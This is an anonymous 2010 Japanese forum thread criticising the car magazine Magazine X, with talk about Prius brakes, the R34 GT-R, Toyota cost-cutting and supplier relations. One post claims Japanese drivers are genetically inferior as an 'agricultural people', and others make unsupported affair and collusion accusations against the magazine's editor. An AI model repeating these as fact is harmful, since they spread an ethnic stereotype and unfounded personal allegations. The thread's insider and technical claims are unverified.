659 :名無しさん@そうだドライブへ行こう:2010/04/10(土) 21:43:30 ID:d02mh1kL0
598 :名無しさん@そうだドライブへ行こう:2010/04/03(土) 19:49:25 ID:owBj1XOZ0
トヨタグループのコピペ貼ってたやつってアク禁くらってたのか

http://namidame.2ch.net/test/read.cgi/kcar/1267716248/511
そうそう、この愛媛のスバヲタさんですね。

★090825 複数板 トヨタグループ|オススメ2ch|三菱AAマルチ報告
http://qb5.2ch.net/sec2chd/kako/1251/12512/1251264466.html

> 207 名前: ちきちーた ★ 投稿日: 2009/09/16(水) 20:14:50 ID:???0
> ipad\d+matuyama.ehime.ocn.ne.jp 規制


660 :名無しさん@そうだドライブへ行こう:2010/04/12(月) 22:15:50 ID:rlGebtIZ0
もう総括って両角は関わってないみたいだね。
以前はゲップが出るほどのメカ解説が売りだったのに、内容が薄っぺらくなり杉。

661 :名無しさん@そうだドライブへ行こう:2010/04/13(火) 11:43:13 ID:mwtGhYLg0
今では政治ネタが売りの本

662 :名無しさん@そうだドライブへ行こう:2010/04/13(火) 14:21:12 ID:kZNDBenc0
総括も読む価値なくなったしもう切ろうかなとも思ってるんだが
何かしらいいきっかけってないもんかね?

663 :名無しさん@そうだドライブへ行こう:2010/04/13(火) 17:11:19 ID:d2NW5dE20
>>662
どの雑誌買ってるのですか?他に買ってるならすぐ切れます。

664 :名無しさん@そうだドライブへ行こう:2010/04/13(火) 17:21:13 ID:kZNDBenc0
それが定期で買ってるのこれだけなのよ
情報とか入れる意味もあって何となく続けてるけど、総括があれじゃあ…


665 :名無しさん@そうだドライブへ行こう:2010/04/14(水) 00:23:49 ID:0KPZv7560
MAG−X読まないなら、FロードとCGがあればいいかな
なーんも考えずに読めるTipoもおまけで
あとMFIを何冊か抑えておけばOK

666 :名無しさん@そうだドライブへ行こう:2010/04/14(水) 10:10:15 ID:8zl7nGwl0
ふぁんろーどは廃刊になったよ

667 :名無しさん@そうだドライブへ行こう:2010/04/14(水) 12:20:23 ID:HKljS3rb0
なんでアニメ雑誌が出てくんだw
モーターファンIはすげー面白いので同意
tipoはj’sじゃない方だけ同意

668 :名無しさん@そうだドライブへ行こう:2010/04/14(水) 23:33:13 ID:0EUtZ+P00
ここんとこずっと見てなかったんだが、5月号を読んだ。

今更感のあるプリウスブレーキ問題なんだが、総括始まって以来の混乱振りだ。
この内容では読者に何の意味があるのか疑問。休載したほうがよかったのでは?

プリウスブレーキ問題の技術解説は論外として
そもそも問題とされた現象がどんなものだったのかですら、理解不足な感じだ。

この際、回生ブレーキのこともブレーキバイワイヤのことも一旦忘れるといい。
とにかく油圧

669 :名無しさん@そうだドライブへ行こう:2010/04/15(木) 06:46:00 ID:0gY2keyp0
マグXの記事のレベルなんて前からそんなもんだろ。
どんな問題についても、本質を的確に捉えたことは一度もない。
今更感は>>668にも漂ってたりしてw

こんなクソ雑誌、ラーメン屋や散髪屋で待ち時間に斜め読みするレベル。
ラーメンの汁が飛んで汚れた無意味な雑誌。それ以外の存在価値はない。


670 :名無しさん@そうだドライブへ行こう:2010/04/15(木) 08:10:55 ID:I5NSd/Zd0
じゃあ本質を的確に捉えられる>>669が評論家になればいいじゃん。不可能なのは
知ってるけど。

671 :名無しさん@そうだドライブへ行こう:2010/04/15(木) 21:53:01 ID:tT0QI5iG0
なんで評論家にならないといけないのか。
文句言ったら全員評論家になるのかよ

672 :名無しさん@そうだドライブへ行こう:2010/04/16(金) 01:37:32 ID:lA4VbURi0
>>670
プリウスのブレーキ油圧はABSが利くとバイワイヤ油圧系統から別の油圧系統に切り替わる。
この本質を的確に捉えられなかった総括は評論家やめればいいのか?
この点を外して問題の説明が不可能なのは知ってる?

673 :名無しさん@そうだドライブへ行こう:2010/04/16(金) 06:49:35 ID:Qyfbbe5L0
>670
逆だよ。逆、逆w 分かってないねえw
本質を的確に捉えられるからこそ、車の評論家になどはやらないんだよ。
それが本質ってもんだ。
確かに、おまえは車の評論家になる素質があるがなwww




674 :名無しさん@そうだドライブへ行こう:2010/04/16(金) 10:52:03 ID:05iO8Lp10
今日一番の厨発言w

675 :↑w:2010/04/16(金) 18:38:26 ID:Qyfbbe5L0
そんなに自分を卑下しなくても良いぞw
厨房君w

676 :名無しさん@そうだドライブへ行こう:2010/04/16(金) 20:22:08 ID:7DW/1KNA0
>>673
確かにそうだ。株やってるとよくわかる。
本当に分かっている人はポジショントークするし
評論家は教科書に載ってるようなことと結果論をうまく織り交ぜて
本当らしく言うだけ。

677 :名無しさん@そうだドライブへ行こう:2010/04/16(金) 20:36:12 ID:LkSa9aRWO
まあ4/26号で謝罪か訂正記事がでれば、
プリウス問題の技術上の本質は何だったのか
はっきりする。

総括の本質が何だったのかも・・ね。



678 :名無しさん@そうだドライブへ行こう:2010/04/16(金) 21:48:44 ID:L4BT3e0c0

マンネリ+ウソ記事ばっか
定期購読辞めるわ

679 :名無しさん@そうだドライブへ行こう:2010/04/16(金) 22:43:21 ID:u2xv0bud0
>>677
どうせいつものように
「誤解を招いたようだがあれは○○○という意味で言ったので(ry」
「記事を起こした編集が早とちりで勝手に書いた。(我々はまったく悪くはないのだが)ここにおわびする(キリッ」
という往生際の悪いことを抜かしやがると思う

おっと!こんなことを言っているとURLを貼り付ける厨が現れてしまうなw

680 :名無しさん@そうだドライブへ行こう:2010/04/17(土) 00:54:19 ID:uDnS03lGO
>>679
なんか知らんが、随分と総括を目の敵にしてるなw
ひょっとして愛車を貶されたのか?

681 :名無しさん@そうだドライブへ行こう:2010/04/17(土) 09:37:22 ID:S7dTV/UH0
トヨタ社員の書き込みってコンプレックスに満ちてるからすぐわかるよねw

682 :名無しさん@そうだドライブへ行こう:2010/04/17(土) 09:41:27 ID:jobU7JY+0
一般人から見たら、どっちもクソだがなw


683 :名無しさん@そうだドライブへ行こう:2010/04/17(土) 10:22:14 ID:keY6IFNrO
長く続いた自民党/トヨタの時代が終わり
民主党/総括に期待する向きもあったのだが

あまりにもひどいので

有権者/読者が逃げだすが、他に行き場もないw←今ここ

684 :名無しさん@そうだドライブへ行こう:2010/04/17(土) 12:37:08 ID:CIRtNlpP0
>>683

意外と正論かもね。

685 :名無しさん@そうだドライブへ行こう:2010/04/17(土) 21:17:20 ID:JdRHROh20
>>680
おまえはエスパーかw
あこがれて恋焦がれて働きまくってやっと買ったR34GT-R・・・ウンコ扱いだった
そのもうちょっと手心加えろやーって思った

686 :名無しさん@そうだドライブへ行こう:2010/04/17(土) 21:41:46 ID:uDnS03lGO
そりゃ、R34GTRなんて、余程のスカイラインマニアでは無い限りオススメはできんだろw
当時の普通の車好きなら、ボクスターかM3買うよ

687 :名無しさん@そうだドライブへ行こう:2010/04/17(土) 22:19:09 ID:iJAcatGk0
アンチ総括ファビョりすぎワロタw

688 :名無しさん@そうだドライブへ行こう:2010/04/17(土) 23:28:50 ID:hyIJoMDA0
>>685
ごめん・・・R34の総括読んで「よくぞ言ってくれた!!」とか思っちゃったw

中身以前に、デザインが受けつけなくてね。あの、カラス除けみたいな
リアのコンビが特に・・・

689 :名無しさん@そうだドライブへ行こう:2010/04/18(日) 00:12:55 ID:zAp9l8Zk0
ねえ、ニュルブルクリンクをタイムアタックモードで走れる日本人って何人ぐらい居るの?

690 :名無しさん@そうだドライブへ行こう:2010/04/18(日) 00:21:46 ID:Q5a2HTFA0
>>688
あのカラス除けがいいんじゃないか!・・・コルベットの方がもうちょっとだけかっこいいけど
フロントはデザイナー自身が「ボルボからパクッてみたw」と白状してたっけ
昔の総括はもっとメカ好きがワクワクするような記事だったよね
いまの総括は手抜きしすぎ
最近では新型マークXが酷かった 実質関東自動車のクルマだから評価しません★ひとつってなんだよw

691 :名無しさん@そうだドライブへ行こう:2010/04/18(日) 02:35:29 ID:Cu+W/0zjO
>>688
当時の総括に、「このデザインで販売するのは犯罪に近いね」とか書かれてて、爆笑した覚えがあるw>R34

GTRはともかく、セダンのデザインは今見てもダサい罠w

692 :688:2010/04/18(日) 02:57:08 ID:loTPuENo0
>>690
あのフロント、ボルボの意匠をパクってたのかよ!
スカイラインにボルボって・・・いくらなんでも違うだろwww
>>691
全体的にアレなんだけれど、セダンのルーフラインは特にねぇ
古いなんてもんじゃなかったな

そもそも「狭い」って言われちゃったR32からR33にモデルチェンジ
する時に、FR版P10プリメーラみたいな方向のパッケージにでも
してくれてたら和製3シリーズになれたのになぁ

693 :名無しさん@そうだドライブへ行こう:2010/04/18(日) 03:03:18 ID:Cu+W/0zjO
いちお、おさらい

R32が桜井氏の薫陶を受けた伊藤氏の元で、出来のいいスポーツサルーンになった影響もあって、
R33に対する期待は大きかったのだけど、経営不振に陥った日産が「セダンもクーペもホイールベースをローレルと共通化する」とか宣言してしまい、
走りの面でR32を超えることが出来なかった。
当時、福野礼一郎氏に「ブタをいくらハイテクでドーピングしても、ブタはブタなんだぞ」とか言われたりした。

R34では、ホイールベースを再びR32に近づけたけど、エンジンもプラットフォームもR32からの使い回し。
既にBMWは3シリーズで、ロングホイールベース、ショートオーバーハング、エンジン搭載位置をバルクヘッドに接近・・・・と実践していたんだけど、
当然、そんなことが使い回しのプラットフォームで出来る訳もない。
さらにデザインも最悪で、R33に比べてエッジを強調するデザインだったために、ただでさえ長いフロントオーバーハングまで強調されてしまった。
キャッチコピーとして「ボディは力だ!」と当時やたらと宣伝していたけど、
数年後に販売されたFFのプリメーラで「R34と同等のボディ剛性を達成した」とあっさり言われてしまうw

R34GT-Rはそんなスカイラインを、ハイテクと強引なボディ補強で、なんとかニュルを周回できるようにした車です。
そういうのがお好きなスカイライン党が買うのであれば問題ないかと


694 :名無しさん@そうだドライブへ行こう:2010/04/18(日) 12:18:44 ID:Zi+4NH0Q0
増刊で「プリウスの真実」って出てますね(4月9日発売)。

誰も取り上げていないのですが、中身は今までの焼き直しでしょうか?

コンビニでさらっと立ち読みした程度では
・ブレーキ問題については、熊倉氏が記事を書いていた
・あとは、もう殆どが社会的な記事ばかりで技術的なものは少ない

だった様な。 もうちょっと余裕があれば立ち読みでもしようかな、と思ったんですが
しょうもない内容だったらやめようかなw

695 :名無しさん@そうだドライブへ行こう:2010/04/18(日) 15:56:28 ID:Sxx+CLwX0
>>693
それが事実ならR32を10年作ってたほうが良かったな

696 :名無しさん@そうだドライブへ行こう:2010/04/18(日) 22:53:00 ID:Q5a2HTFA0
>>695
事実なんだよなーこれが
しかもオマケでR34セダンのデッサンが狂っている長いリアオーバーハングは
「ゴルフバッグを積むためだけにトランクを大きくしたかったから」
しょーもない理由なのがどうしょーもなくハラが立つだろw

697 :名無しさん@そうだドライブへ行こう:2010/04/18(日) 23:08:17 ID:loTPuENo0
>>696
まぁアレだ、Vになって良かったって事だなwww
R好きは色々言うけれど、車として「マトモ」にはなったし、北米で売れてるしね。

しかし、スカイラインをいじくり回すより先に、ローレルを何とかしようって発想は
無かったのかね?

698 :名無しさん@そうだドライブへ行こう:2010/04/19(月) 00:33:37 ID:O7JYKtWD0
!

699 :名無しさん@そうだドライブへ行こう:2010/04/19(月) 22:34:30 ID:QQejQ2/Q0
>>696
>「ゴルフバッグを積むためだけにトランクを大きくしたかったから」

確かこれ実際は前後の重量バランスを最後まで解決できなくて苦肉の策で
ごまかしたことの言い訳なんだよね。本田もNSXで全く同じことをして。


700 :名無しさん@そうだドライブへ行こう:2010/04/19(月) 22:43:04 ID:OXyJiH3v0
>>699
NSXは横風対策って聞いたことがあるけれど、実際はどうなんだろ?

701 :名無しさん@そうだドライブへ行こう:2010/04/20(火) 00:23:17 ID:FWkY+cmv0
>700
アメリカの要望もあるんじゃないか?

フェラーリもそれなりのトランクとかは、アメリカ市場の要望でどうにかしてたし。

702 :名無しさん@そうだドライブへ行こう:2010/04/20(火) 01:39:22 ID:GxnkQWQK0
>>700
V6横置きゆえのヨーダンピングの素性の悪さを
特大のオーバーハングによる空力でカバーしてる。
ゴルフバッグも積めるし、外観の強烈な特徴となる。

703 :名無しさん@そうだドライブへ行こう:2010/04/20(火) 13:20:22 ID:Cb+10NiB0
巨大なトランクを設けたり、大容量(4000kcal)のエアコン設けたり、あとAT車を用意したりと
当時のスーパーカーでは考えられなかった快適装備を盛り込んだことは
マクラーレンF1設計したゴードン・マレーに衝撃を与えたりもしているんだよなw

氏曰く、マクラーレンF1を100点とすると、NSXは70点、その他のフェラーリなんかは30点・・・・らしい。

704 :名無しさん@そうだドライブへ行こう:2010/04/21(水) 23:24:02 ID:g3J68dGh0
最も安全性の優れた自動車に「スバル レガシィ」
http://www.yomiuri.co.jp/atcars/news/20100421-OYT8T00833.htm?from=os4
http://www.yomiuri.co.jp/zoom/20100421-OYT9I00825.htm

 国土交通省と独立行政法人自動車事故対策機構(NASVA)が
安全性能の評価が最も高い自動車を表彰する2009年度の「自動車アセスメントグランプリ」に
富士重工業の「レガシィ」が選ばれ、21日、表彰式が行われた。
富士重工業は2007年度の「インプレッサ」に続く2度目のグランプリ受賞。

705 :名無しさん@そうだドライブへ行こう:2010/04/23(金) 02:07:20 ID:VxmvEhk90
プリウスブレーキの通常動作、ABS動作、何が問題か?3つ全てまとはずれ。

回生ブレーキと協調制御するのはアキュームレータ油圧だけで、レギュレータ油圧は関与しない。
ABSが作動する時にアキュームレータ油圧からレギュレータ油圧に切り替わる。
アキュームレータ油圧とレギュレータ油圧の差によって生じる減速G抜けが問題。

706 :名無しさん@そうだドライブへ行こう:2010/04/25(日) 10:01:41 ID:L2KS8UZ1O
×ABSの空走0.06秒


707 :名無しさん@そうだドライブへ行こう:2010/04/25(日) 18:45:37 ID:hiycX4wI0
プリウス叩き専用ムック

708 :名無しさん@そうだドライブへ行こう:2010/04/26(月) 11:37:10 ID:T8qQFT2R0
なんでも叩かれれば喜ぶ
短絡的な作り手と読み手

乗ったことない馬鹿が多数。
それかメーカー開発の窓際か

709 :名無しさん@そうだドライブへ行こう:2010/04/26(月) 11:52:56 ID:jEA1+BzR0
でも乗って暴走したら死ぬかもしれないし。

710 :名無しさん@そうだドライブへ行こう:2010/04/26(月) 17:07:06 ID:aKzSgYpn0
おっとプリウスの悪口はそこまでだ

711 :名無しさん@そうだドライブへ行こう:2010/04/26(月) 17:40:28 ID:ATgs4Pbv0
たまたま本屋に行ったらMAG-Xが新装刊って表紙に書いてあったので
4ヶ月ぶりぐらいに買ってみたが、何が変わったのかよくわからん
手元にあった2月号と比較してみたら、特別定価590円が定価590円になっており
ページ数が20ページ近く減っているのだが、これは前から?
お値段据え置きでページ減なのがリニューアルの中身だとしたら終わってんな


712 :名無しさん@そうだドライブへ行こう:2010/04/26(月) 21:39:47 ID:Jxu2Emr00
>>711
失礼な!


…はじまってすらいないというのに!

713 :名無しさん@そうだドライブへ行こう:2010/04/26(月) 22:32:04 ID:T8qQFT2R0
もうおしまい

部数凋落中

714 :名無しさん@そうだドライブへ行こう:2010/04/26(月) 23:58:30 ID:E9zXiTyt0
民主党に媚びを売りたくて
無駄を省くだとか誌面でいきがってw
ぜんぜん売れないのに
惰性で出し続けているだけのMAG-Xがが最も無駄だろw

715 :名無しさん@そうだドライブへ行こう:2010/04/27(火) 02:02:58 ID:r6mwHDFy0
またR34GT-R厨が暴れているのかw
なんとしつこいw
10年も前の総括で叩かれたことを未だ根に持つぐらいだから、頭がおかしいのだろうな・・・・


716 :名無しさん@そうだドライブへ行こう:2010/04/27(火) 02:05:22 ID:r6mwHDFy0
>惰性で出し続けているだけのMAG-Xがが最も無駄だろw

「が」は一つ無駄だよ


717 :名無しさん@そうだドライブへ行こう:2010/04/27(火) 11:51:29 ID:v1kqr8sh0
大事な助詞なので2回使いました。

718 :名無しさん@そうだドライブへ行こう:2010/04/27(火) 12:24:50 ID:8gncTebh0
今月号の総括は何よ?

719 :名無しさん@そうだドライブへ行こう:2010/04/27(火) 15:42:14 ID:A47Gg8zZ0
総括読んだら、プラネタリギアの損失が大きくて笑った。

カー&メインテナンスだったかのパッソ・ブーンの開発者インタビューにあったメカニズム解説と比べるとどうしようもないな。

720 :名無しさん@そうだドライブへ行こう:2010/04/27(火) 22:55:47 ID:7QiBP1J40

部下との不倫編集長が、目次で豊田章男に懸命のゴマすり
いよいよ終末が近いと察して
やばそうな記事は外注の署名入りにして責任転嫁
自分だけトヨタ社長に取り入ろうって魂胆

721 :名無しさん@そうだドライブへ行こう:2010/04/27(火) 23:21:39 ID:YpQazGzG0
結局、長いものに巻かれるわけ。

それはなぜか。

あの馬鹿はコンプレックスの塊だから。
トヨタにごますれる自分に酔っているのだろう
だから憧れの六本木、高級鉄板焼き屋に出入りし、
記者の溜り場なんていうテンチンカンな説を唱える。

不倫も結局そう。
身分不相応の憧ればかり

そしてトヨタとも裏で取引。
これが自称スクープ雑誌の陳腐な裏側

そうそう、コンプレックスで一番ひどいのは学歴。
じつはオレも頭がいいと墓穴掘る毎日

722 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 00:41:39 ID:e3t+bUvp0
>>719
今月は「カー&メインテナンス」かw

先月のホリデーオートの解説なら多くの人が読んでいるかもしれんが、
カー&メインテナンスのパッソ・ブーンの開発者インタビューなんて誰が読むのやらw
どれだけトヨタ車のメカニズムが好きなんだw

>>720
章男社長を悪く言うのは、車に関しては門外漢のメディアばかりだと思うがねぇw

>>721
なんか知らんが、深く恨んでいるんだねw

723 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 01:34:31 ID:kxm5BiBK0
>722
> 今月は「カー&メインテナンス」かw
>
> 先月のホリデーオートの解説なら多くの人が読んでいるかもしれんが、
> カー&メインテナンスのパッソ・ブーンの開発者インタビューなんて誰が読むのやらw
> どれだけトヨタ車のメカニズムが好きなんだw

家から出ないのかどうか知らんが、普通に本屋に行けば車雑誌のコーナーにマガジンXもカー&メンテナンスもある。

724 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 02:08:48 ID:e3t+bUvp0
>家から出ないのかどうか知らんが、普通に本屋に行けば車雑誌のコーナーにマガジンXもカー&メンテナンスもある。

そういう問題かよ、とw

725 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 06:56:22 ID:VEcqyB9k0
カー&メンテナンスなんて雑誌初めて知った

726 :そのGT-R厨:2010/04/28(水) 08:44:20 ID:XiGK8OIr0
>>715
待ってくれ、俺じゃないってw

今月号のパッソ/ブーンは予想通り★ふたつのメッタ切りだったな
CVTの重量の話や、ダンパーの油の話とかなかなか面白かった
マークXのときみたいな手抜き記事じゃなかったので割と楽しく読めたぜ


727 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 09:15:58 ID:/2lUqjly0
え、パッソなんて★ゼロが妥当じゃないか?

728 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 09:33:35 ID:XaF/JJCW0
パッソ/ブーンは松下宏も怒ってるね。
リアシートの安全装備コストカットで省略してるらしいじゃん
そういうことはしないって以前トヨタのトップが宣言してたのに

729 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 11:17:20 ID:lqS+omZh0
ベッタリのダイハツに対して燃費★装の記事で中途半端に牙をむいた

730 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 17:29:01 ID:cC5CXjrK0
>>729
★の数しか見ていないのか?


731 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 23:10:34 ID:tReTx8EL0
>>728
いいじゃねーか
この間まで日本車なんて曲がらない、止まらないなんて当たり前だっだろ
ボディもぺなぺな

それでも喜んで乗っていたんだからよ

なにを聖人ぶってんだか

聞きかじりの知識で適当にまとめた程度の総括で一喜一憂
お目出度い読者だこと


732 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 23:26:53 ID:MuDE2YZh0
ダ★ハツにの燃費★装問題を追及したらジャーナリストと認める
しっぽ巻いたらゴミw

733 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 23:50:12 ID:Y0o7isbJ0
>問題を追及
ネットと新聞、週刊誌からネタを拾い集めて
ビジネスムックとかのたまう程度の連中だぜw
もちろん全く売れてないw

734 :名無しさん@そうだドライブへ行こう:2010/04/28(水) 23:57:22 ID:BjPoxy150
三菱のリコール隠し問題も追及をやろうとしたとたん腰砕けにw
編集長が変わったからか

735 :名無しさん@そうだドライブへ行こう:2010/04/29(木) 06:06:10 ID:UIiq3RK30
このていどの無駄な駄文の垂れ流しで金を取れると思ってるのが
い た い
バカな連中。

736 :名無しさん@そうだドライブへ行こう:2010/04/29(木) 06:27:39 ID:uO62BKbs0
でもトヨタ車の三流ぶりを伝えられるのはこの雑誌くらいだしなあ


737 :名無しさん@そうだドライブへ行こう:2010/04/29(木) 09:38:19 ID:y0NwVUPj0
>>732
そんなに★つけてお前が一番びびってんじゃん。
ちいせーやつ
他力本願

>>736
裏じゃベタベタだぜ
大きい物が大好きだから、あの馬鹿
一流の仲間入りってな

738 :名無しさん@そうだドライブへ行こう:2010/04/29(木) 16:32:00 ID:tEJRReJD0
パッソは★1が妥当だけど
なんで日本車って真面目に車作らないの?
コストを下げる部分は抜きにして

739 :名無しさん@そうだドライブへ行こう:2010/04/29(木) 18:14:09 ID:8jsePkN+0
>>738
某所の中の人だけどまず上が予算をくれないんだ
真面目に作ろうにも「コレとコレをつかってこんなの作ってね。予算はこんだけしかないけどw」
っていう流れだからホントどーしよーもないんだ
使うもの決まっているし金もくれないこれで俺らにどうしろとって言いたい
やっとこさ発売してもそこからさらにコストダウンするためにゴリゴリ削っていく
マイチェン後の車がお得とかのたまう雑誌はメーカーの実態分かってんのかって思う

740 :名無しさん@そうだドライブへ行こう:2010/04/29(木) 18:46:10 ID:ACVF4Q+B0
>739
マガジンXそのままだな。

741 :名無しさん@そうだドライブへ行こう:2010/04/29(木) 20:25:55 ID:ZRiC8ion0
「予算自由に使っていいよ」なんて業界存在するのか?

742 :名無しさん@そうだドライブへ行こう:2010/04/29(木) 23:30:48 ID:kzl4Rvuw0
>>738
大変なんだな
新車でパッソが100万、VWのポロが200万で売られてるけど
200万で売るとしたらパッソがポロレベルまで作ることできるの?

743 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 01:27:10 ID:Imi371ow0
>>739
例外的に予算をくれた車の具体名たのむy!

744 :739:2010/04/30(金) 08:46:57 ID:bc5dFInk0
「予算自由に使っていいよ」でなくてもいいんだ常識的な金額ってあるよね
例えば「明日300円で売るお弁当は40円で作りなさい」って言われるような感じ
じゃあ冷蔵庫に入っている残り物をなんとか工夫して使うか…ってなる
それで発売したとたん「もっと儲けたいから今度から20円で作ってねwやればできるw」って言ってくるんだぜ
そりゃ見た目は同じでもその実態は推して知るべしだろ?

まとも予算もらえた車?そんなのないってw 最量販車種の某コンパクトカーなんてエグいんだから

745 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 12:31:14 ID:Imi371ow0
最量販車種の某コンパクトカーってフィットとか?

モノづくりの常識的な利益率ってだいたい相場があるじゃない。車でもお弁当でも

普通は数%ぐらいのもんで10%台に行けば優秀な部類になると思うんだけど。

300円で売るお弁当を20円で作れって‥現実なら箱代にしかならんだろ。

たとえ例え話でも粗利8割9割あたりまえ!みたいなアリエナイ相場感覚で

製造業の、しかも量販コンパクトカーの実態を語られても、相当違和感あるな。

746 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 13:52:56 ID:K6Y+cAtg0
いつも思うのは、日本人はなぜこんなに運転が下手なのか、なぜこんなに車オンチなのか。
日本人が良いものを理解できないからメーカーはバカみたいなコストダウンに走ってしまう。
日本人はまだ車に乗り出してから日が浅いからだと思っていたこともあるが、若い奴を見ていると
そんなことは関係ないような気もする。農耕民族の遺伝子的に動的なものに対する感覚が
著しく狩猟民族より劣っていると言わざるを得ないのだろうか。

747 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 15:11:15 ID:vunY9e4v0
こちらは、部品メーカーの中の人。いわゆる外資系なので、全部のメーカーとお付き合い
させて貰ってる。
その中で感じたことを。職業柄、あちこちの設計事務所へ行って仕事してるんで。
派遣じゃないけど、今の業界は部品メーカーの設計が中に入るのが当たり前じみてるし。

つくづく思うのが、西に行くほど金にうるさい。浜松は例外だけど。修ちゃんが(ry
エンジニアとして楽しいのは、栃木の人達。純粋に技術論で話が出来る。
広島も古い担当の人達、課長相当の人達とか、たたき上げで50代の人達は
話が出来る。少なくとも、筋の通った要求は来るかな。相談も出来るし。
30代から40代前半の大事な連中は、かなりバラツキがある。
ゴリ押しする奴や、判断出来ない奴らがゴロゴロしてる。だから問題が起きる。

愛知はどっちもなんだかなあ…。コストダウンに走って見苦しいわ。
人質大好きだしね。

いずれも会社も一緒だが、根拠のない基準価格で見積もり出してくんの
勘弁して欲しいわ。
このご時世、大抵の部品が共通化されてるからメーカーは体力の削り合いに
なっちゃうんだな。ベースのICなんて一緒の物を使ってるケースが多い。
そこであっちが高いとかこっちが高いとか、赤字ベースの見積もり出されたら
こっちもね…。手広くやってるメーカーは、他の部品で折り合いつけるんだろうけど。

748 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 17:38:37 ID:Q7Pe8urc0
>>747
わかるわかるw
俺も某社の中の人だけど修おじいちゃんところに限らず軽自動車って凄いよな
特にタイヤなんか一般人が聞いたら噴飯物の原価だもんな


749 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 17:43:01 ID:Imi371ow0
>>747
悪いが、読めば読むほど部品メーカーの中の人には思えないから質問。

栃木ではどこで打ち合わせしましたか?

広島ではフォードとの提携後、コスト管理がどう変わりましたか?

自動車メーカーが見積もりを出してくるのは変ですよね?
(見積もりを出すのは部品メーカー)

修ちゃんて誰?


750 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 18:21:57 ID:vunY9e4v0
>>748
軽自動車はね…。でも、軽を取らないとボリュームが稼げないから
各社勝負してくるんだよなあ。だから、軽自動車はあの価格で成り立ってる。
恐ろしいよ。勾配さんは値段しか見てないもの。

>>749
栃木は食堂。内容によってはワイガヤとか入れてくれるよ。

広島の件は営業じゃないからあれだけど、普通にワールドワイドで調達だよ。
地場がどうとかあんまり言わなくなってきた。
ベース車体毎に設計責任が日本だったりFOEだったりFOAだったりするね。
はっきり言って、FOEの人間の方が広島の連中より話が通じるわ。

見積もりは、最初の一回ぐらいの時に言ってくるんだよ。目標価格はこの位って。

そして、修ちゃんを知らないなんてどこのメーカーの人?
自動車業界で修ちゃんを知らないなんてどうかしてる。

751 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 19:43:00 ID:WrrXHEHs0
トヨタのコストカット要求は確かにキツイけど
そのかわりいきなり仕事を打ち切るような理不尽な事はほとんどない
逆に日産やホンダは国内の下請けに仕事すらくれないし
日産にいたってはいきなり前触れなく取引中止をしてくる事が多い
正直言ってトヨタもその他のメーカーもたいして体質は変わらない


752 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 19:54:06 ID:Imi371ow0
>>750
調達の話じゃなくて、設計がやるコスト管理ががらっと変わったんだけどね。

打ち合わせは普通会議室でやるでしょ。栃木のどこに会議室があるかきいてみただけなんだけどさ。
部品メーカーの設計が中に入るのが当たり前なんだから、オープンスペースの食堂で大事な話、
特に技術の話なんかできない。特に外資系ならなおさら。

あ、修ちゃんは浜松市長よりエライ人って知っててきいてます。ごめん。

>>751
その通り。

753 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 20:03:28 ID:wWv/+at70
トヨタの場合は要求は厳しいけれど一緒に頑張りましょうっていうスタンスが多い




754 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 20:19:15 ID:V/P/9e/u0
>>753

【コラム】トヨタの巨大な利益はどこに消えたのか [10/04/30]
http://anchorage.2ch.net/test/read.cgi/bizplus/1272619492/l50

■突然の生産調整をサプライヤーに押し付けても・・・
■資金繰りが行き詰まる零細「下請け」企業
■傘下企業を家族のようにまとめていたかつてのトヨタ



755 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 20:53:03 ID:vunY9e4v0
>>752
知らないなら良いけど、あそこの打ち合わせは食堂だよ。

そして広島の連中は、技術を知らないからまともなコスト管理なんて
出来ないよ。
貴島さん直系の人達は話がよく分かるんだけど。

756 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 21:22:18 ID:wWv/+at70
コンプラもなにもないな
まともな企業とは思えん
 


757 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 22:52:53 ID:e+rtZsUv0
部品屋ごときの罵り合いはほかでやれ。


758 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 23:18:13 ID:zmpu2Uod0
いつになったら日本のメーカーはゴルフに追いつけるの?
今のところスズキしか無理だとおもってるんだけど

某所の人たち頑張れよ

759 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 23:38:23 ID:qurZ6Rwo0
>>758
永遠に無理だろうな
むしろは差は広がってきてるし

760 :名無しさん@そうだドライブへ行こう:2010/04/30(金) 23:54:38 ID:TTGbbopW0
別冊のビジネスムック 全く売れていない。

761 :名無しさん@そうだドライブへ行こう:2010/05/01(土) 00:37:58 ID:2XYOJX0j0
別冊ってプリウスの真実とかいうやつか?内容に見るべきところがなんにもない感じだった

そういえば、4月号5月号の総括のgdgdな展開について今月号で釈明はなかったの?

762 :名無しさん@そうだドライブへ行こう:2010/05/01(土) 00:44:00 ID:Kx0RTMf20
ジャーありストらしく
Dハツの「燃費詐称」問題に切り込め!


提灯持ちだから無理か

763 :名無しさん@そうだドライブへ行こう:2010/05/01(土) 02:54:39 ID:d9eTznam0
>>758
マジレスするとマツダぐらいかな?
つっても、追いつくのが精一杯だろうが・・・・

日産はFR車に期待しているんだけど、
次期スカイラインは期待大

764 :名無しさん@そうだドライブへ行こう:2010/05/01(土) 17:52:51 ID:IB/OYlHZ0
>次期スカイラインは期待大

このフレーズ、一体何回聞いたことだろう・・・

765 :名無しさん@そうだドライブへ行こう:2010/05/01(土) 17:57:54 ID:EPrTkplA0
次期型を待たなくても
V36の後期はむちゃくちゃ良くなってるぞ

アクセルをちょっと踏んだだけでビュっと飛び出す悪癖や
異様に重いステアリングなどの
悪い部分が全部直ってる

